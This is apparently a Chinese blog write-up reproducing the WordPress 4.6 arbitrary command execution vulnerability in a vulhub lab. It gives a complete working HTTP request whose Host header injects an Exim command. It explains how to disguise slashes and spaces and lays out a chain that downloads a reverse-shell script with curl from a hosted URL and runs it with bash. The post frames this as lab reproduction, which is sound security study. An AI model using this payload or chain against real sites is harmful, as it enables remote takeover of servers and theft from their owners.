vulhub中Wordpress 4.6 任意命令执行漏洞复现

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。

  2. 命令会被转换成小写字母

  3. 命令需要使用绝对路径

  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:

    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径

    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)

  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce

  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)

  • 依次发送这两个拼接好的数据包

相关推荐
Web极客码1 天前
什么是站点内部搜索垃圾邮件攻击以及如何防范
开发语言·php·wordpress
podoor3 天前
把wordpress文章分享到微信 分享到QQ
wordpress·woocommerce
podoor5 天前
两种在wordpress网站首页调用woocommerce产品的方法
wordpress·woocommerce
冰淇淋烤布蕾6 天前
wordpress建立数据库连接失败 数据库删除恢复
数据库·安全·阿里云·oracle·腾讯云·wordpress
podoor6 天前
wordpress免费下载
wordpress
龙萱坤诺7 天前
分享一个使用智狐联创AI平台创建的WordPress分类广告插件
chatgpt·ai编程·wordpress
Web极客码8 天前
如何优化浏览器缓存
缓存·wordpress·.htaccess
Web极客码9 天前
在WordPress中使用AI的实用方法:专家级
人工智能·wordpress·网站
idiot_qi12 天前
Ubuntu 24.04部署Wordpress
linux·ubuntu·wordpress
podoor12 天前
wordpress跨境电商外贸独立站 常见获取流量方式
wordpress